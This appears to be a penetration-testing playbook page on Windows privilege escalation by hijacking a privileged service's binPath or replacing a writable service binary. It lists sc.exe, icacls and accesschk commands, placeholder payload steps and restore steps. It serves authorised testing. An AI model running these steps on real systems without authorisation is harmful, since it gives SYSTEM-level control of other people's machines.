Change a privileged service's executable configuration

Needs: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

PowerShell commands

# Baseline
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName

Windows commands

REM Baseline
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"

REM Preserve BINARY_PATH_NAME, account and start mode first
sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE

REM Restore
sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

REM Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

Verify → Verify the payload's effect and service execution identity, then restore the saved configuration.

If it fails → Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell. More detail ↓

If → then

Windows execution or valid credentials with an available remote service → Use Windows authenticated access or a PowerShell command channel
Needs: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route
A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
Needs: A functioning command channel and the actual effective token/process context
A task/startup action consumes a writable command, file, directory or registry value → Control scheduled tasks, startup files or autostart consumers
Needs: Effective object control, a higher principal and a usable scheduled/logon/manual trigger

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Change a privileged service's executable configuration

USE WHEN: Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
STARTING ACCESS: A verified Windows foothold with a known token, integrity level and groups
RESULT: Verified execution under the configured service identity

Recognize the clue

Inventory service accounts/paths, select a higher-identity service and query its effective service-object rights with the current token.

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
sc.exe qc SERVICE
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

SYNTHETIC EXAMPLE OUTPUT

SERVICE_START_NAME: LocalSystem
Effective service rights:
  SERVICE_CHANGE_CONFIG
  SERVICE_START

Means: Configuration-change and start rights on the same higher-identity service are promising; file ACLs alone would not prove them.

Confirm: Use sc qc to read the service account and command, sc sdshow/AccessChk to verify configuration rights and sc query to inspect state. Confirm an allowed start/restart trigger before changing the service, then verify whoami.

After validation: The controlled configuration is consumed at a usable trigger and effect is verified: choose service configuration abuse.
Ruled out in this context: Only query rights are granted: reject the ability to change binPath.
Still inconclusive: CHANGE_CONFIG without a usable trigger remains an incomplete candidate.

Troubleshooting: Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.

Additional prerequisite checks

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Windows\Temp"

Need: control of service config, exact binary/script, searched prefix, DLL/config/plugin, or relevant DACL; higher SERVICE_START_NAME; and a start/restart/boot trigger. In PowerShell use sc.exe, because bare sc can resolve to Set-Content.

Preserve BINARY_PATH_NAME, account and start mode first:

Restore:

SERVICE_CHANGE_CONFIG controls binPath; start/stop are separate rights. The space after binPath= is required. Error 1053 may mean a non-service payload ran but did not answer the Service Control Manager; verify the intended effect.

Writable service binary or replaceable parent

A parent with delete/create rights can permit replacement even when the file is not directly writable. Confirm architecture, file locks, recovery copy and exact trigger.

Why it works

Service configuration and service start/stop are separate permissions. An ordinary program can execute and still return service error 1053 because it does not implement the service protocol.

Worked example · hypothetical

Observation: configuration changes are permitted but stop/start is denied. Test: inspect the actual service schedule/recovery trigger. Illustrative output: no usable trigger is available. Interpretation: record the control and missing condition, then prioritize another path.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗